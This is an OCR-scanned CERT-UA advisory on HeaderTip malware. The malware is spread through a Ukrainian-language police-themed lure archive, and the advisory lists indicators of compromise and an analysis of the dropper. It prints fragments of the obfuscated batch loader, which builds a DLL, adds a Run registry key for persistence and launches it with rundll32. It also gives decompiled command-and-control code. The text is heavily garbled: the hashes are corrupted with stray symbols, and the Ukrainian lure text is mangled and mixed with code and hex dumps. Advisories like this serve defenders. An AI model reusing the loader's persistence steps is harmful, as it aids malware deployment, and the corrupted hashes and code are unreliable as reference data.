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UAC-0026 Cyber Attack Using HeaderTip Malware (CERT-UA
# 4244)

General Information

The government team for responding to computer emergencies in Ukraine CERT-UA found the RAR-
archive "On the preservation of video recordings of the criminal actions of the army of the Russian
Federation.rar", which contains the EXE-file of the same name. Running the executable file will create a
lure document "# 2163 _02_33-2022.pdf" (applies to a letter from the National Police of Ukraine), as well
as a DLL file with the MZ header "officecleaner.dat" and the BAT file "officecleaner" removed. .bat ",
which will ensure the formation of the correct DLL-file, run it and write to the Windows registry to ensure
consistency.

The mentioned DLL-file is classified as a malicious program HeaderTip, the main purpose of which is to
download and execute other DLL-files.

Activity is tracked by UAC-0026. Similar attacks, for example, were recorded in September 2020.

Indicators of compromise
Files:

1af894a5£23713b557¢c23078809%ed01c
839e968aa5a6691929b4d65a539c2261fdecdlc504a8bab2abbfbac0774d6fa3 About
preservation of video materials with fixing of criminal actions of the army
of the Russian Federation.rar

13612c99a38b2b07575688c9758b72cc
042271aadf2191749876£c99997d0e6bdd3b89159%9e¢7ab8cdl1aSfl13aeb65fabbl On the
preservation of videos recording the criminal actions of the army of the
Russian Federation.exe

3293bale2eaefbeba’7c3d26d0752326e
c0962437a293b1elc2702b98d935e929456ab841193da8b257bd4ab891bf9f69 #

2163 02 33-2022.pdf (bait document)

9c22548£843221cc35de96d475148ect
830c6eadld872£0£41362£89a50£41d869e8c22ea95804003d2811c3a09c3160
officecleaner.bat

4fb630£9c5422271bdd4deb9%4ale74£4
a2ffd62a500abbdl157e46£f4caeb981217738297709362ca2c23b0c2d117¢c7d£38
officecleaner.dat

1aba36f72685c12e60fb0922b606417cC
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63a218d3fc7c2f7fcadc0f6£907£326cc86eb3£f8cf122704597454¢c34cld4lcfl

httpshelper.dll (HeaderTip)

Network:

Mozilla / 5.0 (Windows NT 10.0;
//product2020.mrbasic [.]
[.]

hxxps:
product2020.mrbasic
104 [.] 155.198.25

com

Hosts:

% TMP% \ # 2163 02 33-2022.pdf
% TMP% \ officecleaner.bat
% TMP% \ officecleaner.dat
% TMP% \ officecleaner.dll

HKCU \
HKCU \

WOwWo4 ;

com:

8080

Trident / 7.0;

rv:

11.0)

like Gecko

SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run \ httpsrvlog
Software \ Microsoft \ Windows \ CurrentVersion \ Run \ httpshelper

. . o o .
c: \ windows \ system32 \ rundll32.exe%$ TMP% \ httpshelper.dll, OAService
@echo of f
set objfile=temp%\httpshelper.dll
if not exist %objfile% (
echo | set /p=[M}faopvhrsdfertifZ] > %objfile%
type %temp%\officecleaner.dat >> %objfile%
HAIIOHAJIbHA TIOJITIIA . del %temp%\officecleaner.dat
YKPAIHA 3acrynuukam HAYILHAKIB  — re%ooperoitlksdfgljjdfgijtrig%g add
Haya. JILHOT jhjkhk1%CU\Software\Microsoft\Windows\C%ljljlkwjefiofljksdfha%urrentVersion\Run /v
Byn. Boromonsus, 10, M. Kuis, 01601, nojinii  roJOBHHX  ympaBiiHb Y/dl(:'” ndows\systen32\run kY oqriljretfdsgndllsz.exe
510333 e @, " . N - , ! . .
Tex. 254-93-33, info@police.gov.ua Hauionanenoi noniuii B odaacrsix start c:\windows\system32\rund1132.exe %objfile%,0AService
Lnenrnixauiitnnii ox 40108578 Ta M. Kuesi
16.03.2022 poky  Ne = i
= 18000;
Ha Ne Bi _context( ,8080,0);
0 ¢
(*pSleep) (g_sleep_timeout);
“esult = init_context(n: 18080,1);
}
Mpo 3Gepexenns Bizeomatepiagis 3 il sl
dikcaniclo  3g0uMHHMX il apmii recv_packet ((byte *)&! 1 (byte ¥)8b_id, (byte )& B i = B 1=0) {
pociiickKoi (pexepanii installed 411 handler == NULL) {
[prendLasbutd tin: — 00000000% 90 00 03 00 60 00 04 00 00 00 ff ff 00 00 b8 00
g il 00000010 00 00 00 60 00 00 40 00 00 00 00 00 00 00 60 00
24 mIOTOrO pOCist Po3moUana BiAKPHUTE BilichKOBEe BTOPrHEHHS 10 YKpainw, y if (type = 0) { 00000020 00 00 00 @0 00 00 00 00 00 00 00 00 00 00 00 00
. . ) . A = handle_commandd (id); 00000030 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 e 1f
ToMy uncii 3 Teputopii PecryOniku Binopyck. Bike Jekiibka THXHIB BinOyBatoThCs ) 00000040 ba e 00 b4 89 cd 21 b8 ©1 4c cd 21 54 68 69 73 |. .L.IThis
pakeTHi 06CTpinu BilicbKOBOI Ta LUBLMBLHOT iHGPACTPYKTYpH 1O BCilt KpaiHi, THHYTH i 2 st SRR i 00000050 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 | program cannot
MHPHI JKHTeJi, 3HUILYETHCS MaifHO Ta BiAGYBAETHCA CHCTEMHE BYMHEHHS BiliChKOBIX ¥ - - o 00000060 62 65 20 72 75 6e 20 69 Ge 20 44 4f 53 20 6d 6f |be run in DOS mo
P! rem ! & Y a1s0 it (type = 61 ¢ 00000070 64 65 2¢ 6d 6d 02 24 00 00 00 00 00 00 00 c1 09 |de....$
Ta 3JI04HHIB IPOTH JIIOJCTBA BifiCbKOBOCIYKOOBLISIMH apMii pocii. = handle_commandé_write_file(id, isize); 00000080 d8 8a 85 68 b6 d9 85 68 b6 d9 85 68 b6 d9 ea 77
B BAX BIfCHKOROTO CTAHY Ta 3HHMIICHHS. Vv TOMY wueimi 0G’eKTin Ta 3 00000090 b2 d9 87 68 b6 d9 ea 77 bc d9 81 68 b6 d9 a2 ae
> yMoBax BHICHKOBOTO cTaity SHHICHIA, y TOMY HHC ob'e else if (type = 12) { 00000020 cd d9 82 68 b6 d9 85 68 b7 d9 98 68 b6 d9 9b 3a
pecypcis oprauis i migposainie Hauionansuoi nomiuii Ykpainu, icuye norpe6a y R _comnand12_set_sleep_tineout (id, (int x)data_,size)| gaagonbe 32 do 80 €8 be do b 3a 24 d9 84 68 be do ob 35
MaKCHMANbHOMY 30€peKeHHi BCIX JOCTYNHHX BigeomatepiamiB Ha skux ikcyerscs else if (type = 13) { 000000c0 27 d9 84 68 b6 d9 52 69 63 68 85 68 b6 d9 00 00
" ; : : = handle_comand13_load_d11(id, (char *)dta_,size); 0000000 00 00 00 60 00 00 00 00 00 60 00 00 00 00 60 00
BUHHCHHA PISHHX 3NIOTHHIB apMIEIO pocil. . . i . % 000000e0 00 00 00 00 00 00 50 45 00 00 4c 01 04 60 00 00
3okpema 10 TAaKMX BileomarepiaiiB caix  Binmectn Bizeosamuen i3 I — & - 000000f0 00 60 00 B0 00 00 60 00 00 60 ed B0 62 21 b 01
3aranbHOOONACHHX Ta MICHKUX cucTeM BineoHarnsay (Besneune micto, Besneunmii B e e S 00000100 09 60 00 18 00 00 60 Oc 01 60 00 60 00 00 f3 25
i % ny ( acrocti 00009110 00 00 00 10 09 00 00 30 00 60 00 80 00 10 00 10
HIIHUX BJIACHOCT!

perioH), a TaKox Bizeokamep Oyab-Akoi  (opmu o0
nepemimenns (pyxy) BOPOKOI TEXHIKH, MOMEHTIB 0OCTpinie Ta GoMOapayBaHH,
HAHCCCHHS APTHICPIiCHKAX dM aBilallifHWMX ymapiB 10 JKHUTJIOBMX OyJAMHKAX,
LIKOJIAX, JUTCAAKaX, JHKapHAX, eJIeKTPOCTAHI[iAX Ta IHIHX 06’€KTax
3abe3neyeHHs XKUTTEAIAIPHOCTI HaCeIeHUX IIYHKTIB, 0OCTpilM KOJIOH eBaKyawii
LMBIIBHEX OCi0, BHIIAJKH BYMHEHHS MapoOJEpPCTBA Ta IHIIMX JHBEPCiiiHO-
PO3BiJlyBalbHHX, NPOTHNPABHUX i 30YMHHMX MisHb. KpiM TOro, ciix mpuaimuru
yBary OO 30epeKeHHS  BileOo3amuciB  PO3MINICHMX Yy Ppi3HMX Ipymax
«MCCCHJDKEPiB», pecypcax Mepexi IiHTGPHET Ta BilCO-CIOXKETIB  3pOOJICHHX
OuYeBH/ILAMU TAKHX HOJI (3aucy Ha Tene)OHAX Ta Bileo peecTpaTopax).

3 orsily Ha BHKIAJCHE NPOIIY PO3IVISHYTH MHTaHHA WIONO 3abe3neueHHs
30epeKeHHs 3a3HAYCHHX BHILE BUJIB BiJeoMaTepialiB, Ta 3a MOXJIMBOCTI iX
Pe3epBHUX KOMNil, 3 METOI0 NOJAJIBUIOro MOIyYeHHs 0 MaTepialiB J0CyA0BOro
PO3CTilyBaHHs Ta BUKOPHCTAHHS MiJ Yac aHANITHYHUX JOCTIIKCHb TPALiBHUKAMU
TiIPO3ALTiB KPUMiHATEHOTO aHATI3Y.

if (context.hinternet 1=
close_context(&context);

1_handler)

_handle_built:

©) goto
0) ¢

1) & (size 1= 0) {

0) break;
=0

return 0;

if (g_running = ) {
return 0;

14

next_hostname(| i )i

(#pSleep) (g_sleep_timeout);
3 while( true );
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